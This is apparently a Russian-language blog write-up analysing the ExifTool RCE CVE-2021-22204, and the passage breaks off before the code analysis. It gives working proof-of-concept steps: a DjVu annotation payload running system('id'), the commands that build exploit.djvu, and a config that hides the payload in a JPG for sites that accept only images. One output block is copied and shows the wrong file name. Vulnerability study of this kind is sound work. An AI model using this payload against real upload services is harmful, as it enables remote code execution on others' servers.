
Углублённый технический анализ CVE-2021-22204 (ExifTool RCE) с воспроизведением PoC, конструированием полезной нагрузки и обзором Perl-кода уязвимого парсера аннотаций DjVu.
Это должно было быть аналитической статьей о CVE-2021-22204, но больше похоже на мою черновую тетрадь, заполненную множеством беспорядочных вещей. Для статьи об анализе уязвимости это кажется многословным, но я многое узнал.
Честно говоря, я никогда не пользовался этим инструментом и почти не сталкивался с языком Perl, поэтому в процессе анализа и даже воспроизведения у меня было много вопросов. Прежде чем начать анализ, давайте посмотрим на уже опубликованные PoC в интернете и на мои вопросы.
Статья, которую я увидел, [1], кратко описывает причину возникновения уязвимости, но из-за того, что я не понимаю код Perl, многое осталось неясным. Процесс воспроизведения выглядит следующим образом:
Скачиваем версию exiftool 12.23
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
Распаковываем и устанавливаем
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
Конечно, если вы не хотите его устанавливать, вы можете просто поместить файл exiftool из каталога exiftool-12.23 в каталог, доступный в переменной окружения, и тогда можно будет использовать инструмент exiftool напрямую, так как Perl — интерпретируемый язык, похожий на Python.
Создаем вредоносное изображение. Сначала устанавливаем необходимые инструменты
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
Выполните следующую команду, чтобы создать вредоносный djvu-файл
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# Это было для меня самым запутанным – я не понимал, зачем нужно сжатие (поскольку в других PoC оно не требуется)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Затем, используя инструмент exiftool для анализа этого вредоносного файла, мы видим, что команда id успешно выполняется
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
При создании файла в формате djvu с помощью команды djvumake, можно ли не сжимать payload? Потому что с точки зрения анализа это неудобно для просмотра и тестирования. Конечно, можно, нужно просто заменить параметр ANTz на ANTa. Описание ANTz и ANTa можно найти в документации exiftool [3], но их конкретное значение я так и не нашел, потому что не нашел стандартного описания.
Хочется немного пожаловаться: хотя я пытался посмотреть описание параметров через
man djvumake, в нем вообще нет объясненияANTzиANTa. Дата документации — 2001 год, она давно не обновлялась.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa означает, что Annotation хранится в metadata файла djvu в открытом текстовом формате, а ANTz — в формате сжатия bzz.
Однако файлы в формате djvu встречаются нечасто, особенно на сайтах, где есть возможность загрузки изображений, обычно принимают только png/jpg/jpeg. Поэтому было бы замечательно, если бы вредоносный djvu-файл можно было превратить в jpg-файл.
Инструмент exiftool может помочь нам изменить содержимое изображения: нужно просто вставить вредоносный djvu-файл в нужное место jpg-файла. О том, какое именно это место и почему оно подходит, я расскажу позже при анализе.
Создаем конфигурационный файл exiftool eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b соответствует тегу 'HasselbladExif'[6]
0xc51b => {
# Имя может быть любым, это имя параметра, который будет приниматься
Name => 'HasselbladExif',
# Тип переменной, доступной для записи
Writable => 'string',
# Группа metadata, к которой относятся записываемые данные [7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
О том, как писать конфигурационные файлы exiftool, можно узнать в [4][5]. Затем возьмите обычный jpg-файл poc.jpg и выполните следующую команду
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
Затем проанализируйте poc.jpg с помощью exiftool — команда успешно выполняется
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
Следующий анализ основан на содержании [2]. Уязвимость затрагивает версии exiftool < 12.24, уязвимый файл:
lib/Image/ExifTool/DjVu.pm (line 202)
Код соответствующей функции: